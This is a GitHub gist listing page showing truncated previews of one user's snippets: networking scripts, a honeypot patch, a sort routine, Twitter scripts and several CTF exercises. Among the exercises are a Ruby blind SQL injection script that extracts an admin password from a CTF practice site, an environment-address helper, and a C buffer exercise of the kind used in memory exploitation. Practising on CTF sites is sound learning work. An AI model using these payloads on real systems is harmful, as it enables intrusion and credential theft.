Skip to content

Instantly share code, notes, and snippets.

View gomasy's full-sized avatar

Gomasy gomasy

View GitHub Profile
@gomasy
gomasy / 00-route.sh
Last active August 19, 2018 13:58
xl2tpd により L2TP コネクションが確立した際に自動的に経路を追加するスクリプト
#!/bin/sh
# This script is run by pppd after the link is established.
# It executes all the scripts available in /etc/ppp/ip-up.d directory,
# with the following parameters:
# $1 = interface name (e.g. ppp0)
# $2 = tty device
# $3 = speed
# $4 = local IP address
# $5 = remote IP address
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char msg[1024];
static int flag = 0;
if (argc < 2) {
printf("[*] Error: no argument specified.\n");
return 1;
@gomasy
gomasy / getenvaddr.c
Last active October 16, 2015 05:46
get environment variable
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if (argc < 3) {
printf("Usage: %s [environment] [path]\n", argv[0]);
return 0;
@gomasy
gomasy / base.patch
Last active October 4, 2015 01:51
patch of base.py
--- base.py.orig 2015-09-12 12:04:29.771884700 +0900
+++ base.py 2015-09-12 12:05:47.339417230 +0900
@@ -38,7 +38,10 @@
class command_echo(HoneyPotCommand):
def call(self):
- self.writeln(' '.join(self.args))
+ if len(self.args) and self.args[0].strip().count('-n'):
+ self.write(' '.join(self.args[1:]))
+ else:
@gomasy
gomasy / bubble.c
Last active September 4, 2015 05:50
bubble sort
#include <stdio.h>
#include <stdlib.h>
void gen_ary(int ary[], int size);
void shuffle(int ary[], int size);
void sort(int ary[], int size);
int main() {
int i, size;
scanf("%d", &size);
var notify = document.getElementsByClassName("js-column column column-type-interactions will-animate");
for (var i = 0; i < notify.length; i++) {
var t = notify[i].getElementsByClassName("stream-item js-stream-item is-actionable");
for (var j = 0; j < t.length; j++) {
setDisplay(t[j], new RegExp(/retweeted_retweet.+/));
setDisplay(t[j], new RegExp(/favorited_retweet.+/));
}
}
function setDisplay(elm, regexp) {
require "uri"
require "net/http"
url = URI.parse("http://ctfq.sweetduet.info:10080/~q6/")
puts "Step1: Surveying password length..."
for i in 1..100 do
response = Net::HTTP.post_form(url, "id" => %(' or (SELECT length(pass) FROM user WHERE id='admin') <= #{i}--))
if response.body.include?(%(Congratulations!))
len = i
require "uri"
require "securerandom"
require "net/http"
require "digest/md5"
url = URI.parse("http://ctfq.sweetduet.info:10080/~q9/flag.html")
uname = "q9"
realm = "secret"
qop = "auth"
nc = "00000001"
@gomasy
gomasy / xvideo.com.zone
Created May 17, 2015 16:00
xvideos not dead
$TTL 120
@ SOA ns1.randomserver.com. webmaster.xvideos.com. (
2015032008
28800
3600
604800
1800 )
NS ns1.randomserver.com.
NS ns2.randomserver.com.
NS ns3.randomserver.com.
@gomasy
gomasy / update.rb
Last active August 29, 2015 14:11
statuses/update.json
require "net/https"
require "securerandom"
require "openssl"
require "base64"
require "uri"
require "erb"
include ERB::Util
http_method = "POST"